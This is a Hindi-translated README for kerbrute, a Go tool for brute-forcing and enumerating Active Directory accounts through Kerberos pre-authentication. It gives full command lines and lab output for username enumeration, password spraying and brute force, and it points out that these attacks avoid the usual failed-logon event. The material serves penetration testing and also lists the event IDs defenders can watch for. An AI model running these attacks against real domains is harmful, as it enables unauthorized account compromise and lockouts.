
Kerberos pre-auth bruteforcing के लिए एक उपकरण
केरबेरोस प्री-ऑथेंटिकेशन के माध्यम से मान्य Active Directory खातों को शीघ्रता से ब्रूटफोर्स और गणना करने का एक उपकरण
नवीनतम बाइनरी रिलीज पेज से प्राप्त करें।
यह उपकरण कुछ bash स्क्रिप्ट्स से विकसित हुआ है जो मैंने कुछ साल पहले Linux से Heimdal Kerberos क्लाइंट का उपयोग करके ब्रूटफोर्सिंग करने के लिए लिखी थीं। मैं कुछ ऐसा चाहता था जिसमें Kerberos क्लाइंट को स्थापित करने के लिए विशेषाधिकारों की आवश्यकता न हो, और जब मुझे केर्बेरोस का अद्भुत शुद्ध Go कार्यान्वयन gokrb5 मिला, तो मैंने अंततः Go सीखने और इसे लिखने का निर्णय लिया।
केरबेरोस के साथ Windows पासवर्ड की ब्रूटफोर्सिंग मेरे ज्ञात किसी भी अन्य दृष्टिकोण से कहीं अधिक तेज़ है, और संभावित रूप से अधिक गुप्त है क्योंकि प्री-ऑथेंटिकेशन विफलताएं उस "पारंपरिक" An account failed to log on इवेंट 4625 को ट्रिगर नहीं करती हैं। केरबेरोस के साथ, आप KDC (डोमेन कंट्रोलर) को केवल एक UDP फ्रेम भेजकर उपयोगकर्ता नाम को मान्य कर सकते हैं या लॉगिन का परीक्षण कर सकते हैं।
अधिक पृष्ठभूमि और जानकारी के लिए, मेरी Troopers 2019 वार्ता, Fun with LDAP and Kerberos (लिंक जल्द ही) देखें।
केर्ब्रूट में तीन मुख्य कमांड हैं:
एक डोमेन (-d) या एक डोमेन कंट्रोलर (--dc) निर्दिष्ट किया जाना चाहिए। यदि डोमेन कंट्रोलर नहीं दिया गया है तो KDC को DNS के माध्यम से देखा जाएगा।
डिफ़ॉल्ट रूप से, केर्ब्रूट मल्टीथ्रेडेड है और 10 थ्रेड का उपयोग करता है। इसे -t विकल्प से बदला जा सकता है।
आउटपुट stdout पर लॉग किया जाता है, लेकिन -o के साथ एक लॉग फ़ाइल निर्दिष्ट की जा सकती है।
डिफ़ॉल्ट रूप से, विफलताएं लॉग नहीं की जाती हैं, लेकिन इसे -v से बदला जा सकता है।
अंत में, केर्ब्रूट में --safe विकल्प है। जब यह विकल्प सक्षम होता है, यदि कोई खाता लॉक आउट के रूप में वापस आता है, तो यह किसी अन्य खाते को लॉक आउट करने से रोकने के लिए सभी थ्रेड को रद्द कर देगा।
अधिक जानकारी के लिए help कमांड का उपयोग किया जा सकता है
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
--downgrade Force downgraded encryption type (arcfour-hmac-md5)
--hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
उपयोगकर्ता नामों की गणना करने के लिए, केर्ब्रूट बिना प्री-ऑथेंटिकेशन के TGT अनुरोध भेजता है। यदि KDC PRINCIPAL UNKNOWN त्रुटि के साथ प्रतिक्रिया देता है, तो उपयोगकर्ता नाम मौजूद नहीं है। हालांकि, यदि KDC प्री-ऑथेंटिकेशन के लिए संकेत देता है, तो हम जानते हैं कि उपयोगकर्ता नाम मौजूद है और हम आगे बढ़ जाते हैं। इससे कोई लॉगिन विफलता नहीं होती है, इसलिए यह किसी भी खाते को लॉक नहीं करेगा। यदि केरबेरोस लॉगिंग सक्षम है तो यह एक Windows इवेंट आईडी 4768 उत्पन्न करता है।
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds
passwordspray के साथ, केर्ब्रूट डोमेन उपयोगकर्ताओं की सूची के विरुद्ध एक क्षैतिज ब्रूट फोर्स हमला करेगा। यह तब उपयोगी है जब आपके पास उपयोगकर्ताओं की एक बड़ी सूची हो और आप एक या दो सामान्य पासवर्ड का परीक्षण करना चाहते हैं। चेतावनी: यह विफल लॉगिन गणना को बढ़ाएगा और खातों को लॉक कर देगा। यह दोनों इवेंट आईडी 4768 - एक Kerberos प्रमाणीकरण टिकट (TGT) का अनुरोध किया गया और 4771 - Kerberos प्री-ऑथेंटिकेशन विफल उत्पन्न करेगा।
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
यह एक उपयोगकर्ता नाम के विरुद्ध पारंपरिक ब्रूटफोर्स खाता है। इसे केवल तभी चलाएं यदि आप सुनिश्चित हैं कि कोई लॉकआउट नीति नहीं है! यह दोनों इवेंट आईडी 4768 - एक Kerberos प्रमाणीकरण टिकट (TGT) का अनुरोध किया गया और 4771 - Kerberos प्री-ऑथेंटिकेशन विफल उत्पन्न करेगा।
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] VALID LOGIN: [email protected]:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
यह मोड एक फ़ाइल या stdin से username और password संयोजन (प्रारूप username:password में) पढ़ता है और केरबेरोस प्रीऑथेंटिकेशन के साथ उनका परीक्षण करता है। यह किसी भी खाली पंक्ति या खाली उपयोगकर्ता नाम/पासवर्ड वाली पंक्तियों को छोड़ देगा। यह दोनों इवेंट आईडी 4768 - एक Kerberos प्रमाणीकरण टिकट (TGT) का अनुरोध किया गया और 4771 - Kerberos प्री-ऑथेंटिकेशन विफल उत्पन्न करेगा।
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: [email protected]:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
आप Linux, Windows और Mac के लिए प्री-कंपाइल बाइनरी रिलीज पेज से डाउनलोड कर सकते हैं। यदि आप नवीनतम पर जीना चाहते हैं, तो आप Go के साथ भी स्थापित कर सकते हैं:
$ go get github.com/ropnop/kerbrute
रिपॉजिटरी क्लोन करने के बाद, आप सामान्य आर्किटेक्चर के लिए संकलन करने हेतु Make फ़ाइल का भी उपयोग कर सकते हैं:
$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries
$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
jcmturner को उनके KRB5 के शुद्ध Go कार्यान्वयन के लिए बहुत बड़ा शुक्रिया: https://github.com/jcmturner/gokrb5 । एक अद्भुत प्रोजेक्ट और बहुत अच्छी तरह से प्रलेखित। उस प्रोजेक्ट के बिना यह सब संभव नहीं होता।
audibleblink को delay विकल्प के सुझाव और कार्यान्वयन के लिए शुक्रिया!